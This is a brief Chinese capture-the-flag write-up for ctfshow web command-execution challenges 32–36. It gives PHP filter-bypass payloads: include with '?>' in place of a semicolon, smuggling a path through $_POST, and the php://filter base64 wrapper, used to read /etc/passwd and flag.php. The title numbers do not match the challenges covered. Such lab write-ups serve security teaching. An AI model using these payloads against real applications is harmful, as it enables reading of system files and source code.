>
>
ctfshow web入门 命令执行部分(29-31)
_yu_
32
这个题过滤了空格属实有点难受,php中不用括号的有echo include等
过滤了分号可以用?>绕过。
尝试了以下,发现 include"/etc/passwd"?>
可以执行成功。再去想下没有过滤\$,我们可以用\$_POST[1]呀include"\$_POST[1]"?>
然后post传参1=/etc/passwd
执行成功。还有一个问题include包含php文件不会在页面显示出来,灵机一动,伪协议呀!完美
33
payload
?c=include$_POST[1]?>
1=php://filter/read=convert.base64-encode/resource=flag.php
34,35
同33
36
将1改为a即可
免责声明:文章中涉及的程序(方法)可能带有攻击性,仅供安全研究与教学之用,读者将其信息做其他用途,由读者承担全部法律及连带责任,本站不承担任何法律及连带责任;如有问题可邮件联系(建议使用企业邮箱或有效邮箱,避免邮件被拦截,联系方式见首页),望知悉。
- 左青龙
- 微信扫一扫
-
- 右白虎
- 微信扫一扫
-
评论